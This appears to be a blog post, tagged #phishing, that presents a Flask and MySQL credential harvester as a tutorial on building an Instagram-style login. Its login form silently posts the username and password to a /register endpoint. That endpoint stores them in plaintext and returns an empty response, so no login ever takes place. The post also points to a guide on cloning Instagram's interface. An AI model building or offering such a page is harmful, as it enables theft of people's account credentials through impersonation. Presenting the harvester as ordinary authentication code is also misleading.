Building a Custom Instagram-Style Login with Flask and MySQL

#cloningwebsite #phishing #phishingattacks

In today’s digital world, user authentication is a fundamental feature in any web application. Whether you’re creating a social media platform, an internal tool, or a simple login system, handling authentication efficiently is crucial. This article walks through building a custom Instagram-style login system using Flask , MySQL , and basic HTML/CSS/JS for the frontend.

🔗 Get files at GitHub.

🔗 View sample login ui Open.

Why Flask and MySQL?

Flask is a lightweight yet powerful Python framework, ideal for handling authentication systems without unnecessary overhead. MySQL, a robust relational database, efficiently stores user credentials, making it a great choice for structured authentication workflows.

Setting Up the Backend (Flask + MySQL)

1️⃣ Install Required Packages

Before diving into the code, ensure you have the necessary dependencies installed:

pip install flask mysql-connector-python flask-cors

2️⃣ Creating the Database and Users Table

We’ll start by setting up a MySQL database for storing user credentials.

CREATE DATABASE user_auth;
USE user_auth;
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL
);

3️⃣ Writing the Flask Backend

Now, let’s create a Flask application that handles user registration and login.

from flask import Flask, request, jsonify
from flask_cors import CORS
import mysql.connector
app = Flask( __name__ )
CORS(app)
# MySQL Configuration
db_config = {
    "host": "your-mysql-host",
    "user": "your-mysql-username",
    "password": "your-mysql-password",
    "database": "user_auth"
}
# Connect to MySQL
def connect_db():
    return mysql.connector.connect(**db_config)
# User Registration
@app.route('/register', methods=['POST'])
def register():
    try:
        data = request.json
        username = data.get('username')
        password = data.get('password') # Stored directly without hashing
        if not username or not password:
            return jsonify({"error": "Missing username or password"}), 400
        conn = connect_db()
        cursor = conn.cursor()
        cursor.execute("INSERT INTO users (username, password) VALUES (%s, %s)", (username, password))
        conn.commit()
        cursor.close()
        conn.close()
        return '', 204 # No response
    except Exception as e:
        return jsonify({"error": str(e)}), 500
if __name__ == ' __main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

Creating the Frontend (HTML + JavaScript)

The frontend consists of a simple login page where users enter their credentials.

1️⃣ index.html (Frontend UI)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
</head>
<body>
    <h2>Login</h2>
    <form id="loginForm">
        <input type="text" id="username" name="username" placeholder="Username" required>
        <input type="password" id="password" name="password" placeholder="Password" required>
        <button type="submit">Login</button>
    </form>

    <script>
        document.getElementById("loginForm").addEventListener("submit", async function(event) {
            event.preventDefault();

            const username = document.getElementById("username").value;
            const password = document.getElementById("password").value;await fetch("http://127.0.0.1:5000/register", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({ username, password })
            });
        });
    </script>
</body>
</html>

Running the Project

1️⃣ Start MySQL and create the database

2️⃣ Run the Flask backend

python app.py

3️⃣ Open index.html in a browser and test the login form

Final Thoughts

This setup provides a foundation for handling user authentication. If security is a concern, consider hashing passwords before storing them. This project can be extended by adding features like user sessions, password encryption, and email verification.

For more insights on working with Instagram-style UI and automation, check out this detailed experience shared on Medium:

🔗 Cloning Instagram UI: My Struggles with HTTrack, Selenium, and the Final Success with Wget